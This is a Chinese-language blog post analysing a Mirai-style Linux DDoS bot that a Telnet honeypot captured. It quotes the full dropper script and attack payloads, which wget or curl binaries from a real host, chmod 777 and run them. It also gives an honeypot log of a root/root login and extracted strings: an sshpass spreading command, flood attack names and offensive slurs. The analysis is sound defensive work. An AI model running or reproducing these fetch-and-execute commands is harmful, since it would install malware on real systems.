作者:林敬勤
今天晚上一看,已经有18个样本被蜜罐捕获(高交互Telnet蜜罐)了,主要就是这个样本:
文件HASH如下:
MD5:f42a6178e5da4e16254ecbdec5ca376a
SHA-1:51ad642c254d762e3c775678aa17e28601b57866
SHA-256:a093105ec49c25547511780526165a00e0d8964bd622ed2127982908379f198e
上传至virustotal检测,62报23
接下来我们对攻击IP进行溯源分析,威胁情报查询如下:
访问该IP(是一个Apache安装成功的测试页):
接下来继续着眼于该样本,由于是一个文本文件,我们提取文件内容如下:
#母样本内容如下:
cd /tmp; wget <http://178.215.236.209/M>; chmod 777 M; ./M; rm -rf M
cd /tmp; wget <http://178.215.236.209/MS>; chmod 777 MS; ./MS; rm -rf MS
cd /tmp; wget <http://178.215.236.209/SH>; chmod 777 SH; ./SH; rm -rf SH
cd /tmp; wget <http://178.215.236.209/x86>; chmod 777 x86; ./x86; rm -rf x86
cd /tmp; wget <http://178.215.236.209/A6>; chmod 777 A6; ./A6; rm -rf A6
cd /tmp; wget <http://178.215.236.209/I6>; chmod 777 I6; ./I6; rm -rf I6
cd /tmp; wget <http://178.215.236.209/PPC>; chmod 777 PPC; ./PPC; rm -rf PPC
cd /tmp; wget <http://178.215.236.209/I5>; chmod 777 I5; ./I5; rm -rf I5
cd /tmp; wget <http://178.215.236.209/M68>; chmod 777 M68; ./M68; rm -rf M68
cd /tmp; wget <http://178.215.236.209/A5>; chmod 777 A5; ./A5; rm -rf A5
cd /tmp; wget <http://178.215.236.209/PPC-440>; chmod 777 PPC-440; ./PPC-440; rm -rf PPC-440
cd /tmp; wget <http://178.215.236.209/A4-TL>; chmod 777 A4-TL; ./A4-TL; rm -rf A4-TL
cd /tmp; wget <http://178.215.236.209/I4>; chmod 777 I4; ./I4; rm -rf I4
cd /tmp; wget <http://178.215.236.209/M64>; chmod 777 M64; ./M64; rm -rf M64
不难看出,该样本只是一个下载器,用于下载178.215.236.209
下的一些文件到/tmp
目录,并通过chmod 777
命令修改文件可执行权限,并运行下载的这些样本./文件
,并且在子样本运行结束后删除样本,清理痕迹。
接下来我们对该IP进行威胁情报查询,结果如下:
发现该IP一直存在通过恶意软件进行攻击的行为。并获取到了其攻击payload:
178.215.236.209的攻击Payload信息: 渗透攻击行为:传播恶意木马 攻击Payload信息详情:
["["sh","cd /tmp || wget <http://178.215.236.209/zatoempire.sh>; curl -O <http://178.215.236.209/zatoempire.sh>; chmod 777 zatoempire.sh; sh zatoempire.sh; rm -rf *.sh"]"]
不难看出,其大概率通过此payload将样本上传至蜜罐的。去蜜罐验证一下,找到该IP的攻击记录:
该IP的请求包如下:
New connection: 188.166.242.49:41462 (172.30.51.1:23) [session: a8c9cd97e13a]
login attempt [root/root] succeeded
sh
cd /tmp; wget <http://178.215.236.209/bins.sh> ||
curl -O <http://178.215.236.209/bins.sh> && chmod 777 bins.sh && ./bins.sh; rm -rf *
Connection lost after 17 seconds
手法基本相似,样本文件名被修改了,威胁情报的http://178.215.236.209/zatoempire.sh
现已无法访问。
到目前我们可以得到该攻击的基本信息如下:
攻击IP : 188.166.242.49
攻击Payload :
cd /tmp; wget <http://178.215.236.209/bins.sh> || curl -O <http://178.215.236.209/bins.sh> && chmod 777 bins.sh && ./bins.sh; rm -rf *
样本文件名 :bins.sh
样本HASH: f42a6178e5da4e16254ecbdec5ca376a(MD5)
样本源IP :
178.215.236.209
样本类型 : shell文件
样本威胁类型 :下载器
接下来我们需要对这些子样本进行分析,修改母样本,使其将所有子样本下载到虚拟机,但不运行,这里我们使用Ubuntu 14虚拟机进行分析,先下载子样本,脚本如下:
wget <http://178.215.236.209/M>
wget <http://178.215.236.209/MS>
wget <http://178.215.236.209/SH>
wget <http://178.215.236.209/x86>
wget <http://178.215.236.209/A6>
wget <http://178.215.236.209/I6>
wget <http://178.215.236.209/PPC>
wget <http://178.215.236.209/I5>
wget <http://178.215.236.209/M68>
wget <http://178.215.236.209/A5>
wget <http://178.215.236.209/PPC-440>
wget <http://178.215.236.209/A4-TL>
wget <http://178.215.236.209/I4>
wget <http://178.215.236.209/M64>
运行,得到如下样本:
我们先计算他们的MD5,防止为同一样本重复分析,结果如下:
14aaf85927e45d55a659b2fbcdaa25ee ./SH
4a1ce3d39485183d9774184f2c45597f ./A6
b26f2bf0d3ea22871eafd9389d3fcbfe ./A5
e48a1c33bdf89c8f6d3f5ab2f0b7f966 ./MS
607de5ff2efe197870820df3d0b35da5 ./PPC
27eb53d8f4be08df86e22fa968058c2f ./I5
d1e0689d859c56f51948ad3260867f67 ./M68
1217dc6c3803a139b17c625b571aa83f ./I6
f11eb803b87acb02ba64c4d028e29f96 ./M
3b6b23f77f9d1975499fb63421ba3cf8 ./x86
接下来,我们看看A5样本:
<1> 静态分析 A5样本
先通过strings命令提取样本二进制数据中可打印的字符串:
strings ./A5 >> A5-strings.txt
得到了非常多的内容(8643条):
筛选有用的信息如下:
root
Hax0r@1337
ssh_server_ip
/root/
sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s'
dayzddos.co runs you if you read this lol then you tcp dumped it because it hit you and you need to patch it lololololol
%s %s HTTP/1.1
Host: %s
User-Agent: %s
Connection: close
%s /cdn-cgi/l/chk\_captcha HTTP/1.1
Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
jay is a faggot
add illuminate#0038 for gay sex
Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
Failed opening raw socket.
Failed setting raw headers mode.
DOMINATE Flooding %s for %d seconds.
...
同时我们发现其中有大量user-agent信息,并且存在DOMINATE Flooding %s for %d seconds.
字符串,判断其可能用于DDOS攻击,结合分析,判断其可能是一个蠕虫程序,通过爆破ssh进行传染:sshpass -p '%s' ssh -o StrictHostKeyChecking=no %s@%s '%scd; python udp.py %s %s %s'
,爆破成功后上传样本用于DDOS攻击,这里运行了一个名为udp.py
的python脚本,具体内容还不清。在并且内部出现了大量关于网络通信的字符串,可以判定其主要行为为网络通信。
让火绒查杀一下:
报的Trojan/Linux.DDos.h
和猜测的基本吻合。
用IDA -PRO分析一下(有点复杂)看到其中一个函数名为processCmd
,其中调用了大量atol
和strcoll
函数进行字符串判断:
发现网址www.manoramaonline.com
情报判定为白名单,访问是一个新闻网站
这里应该是字符串都比对完毕了,通过sockprintf打印发送DOS攻击详情,并通过SendDOMINATE进行DOS攻击
这里面的调用的两个函数比较有意思,第一个是sockprintf
,一个是SendDOMINATE
1)先看sockprintf
,函数比较简单,看看调用流程:
malloc
memset
print
strlen
strlen
send
free
不难看出,它将拼接好的DOMINATE Flooding %s for %d seconds.
字符串输出并通过send
函数发送出去了
SendDOMINATE
函数中调用了一个名为getRandomIP
的函数,貌似是随机生成IP并制作一份IP报文发送
2)接下来看看SendDOMINATE
函数:
静态分析就先分析到这里吧,下面是可能用到的一些控制命令:
TCP
UDP
VSE
HTTP-KO
CF-KILL
NULL-CF
STD
HTTPS-KTN
OVH-STORM
NFO-COM
HYDRA-KILL
HIPER-OVH
KILLALLV3
HOME-DOWN
UDPRAW
NFO-KTN
RANDHEX
XTDV2
DOMINATE
OVH-PACKET
DNS
HOLD
R6-DROP
R6-LAG
GTAV
CSGO
TF2
STOP
<2> 动态分析 A5样本
动态分析时发生问题,格式不匹配,无法运行:
上传到云沙箱也没法获取更多的信息了:
该样本也就只能止步于此了,遇到的问题还得求教各位大佬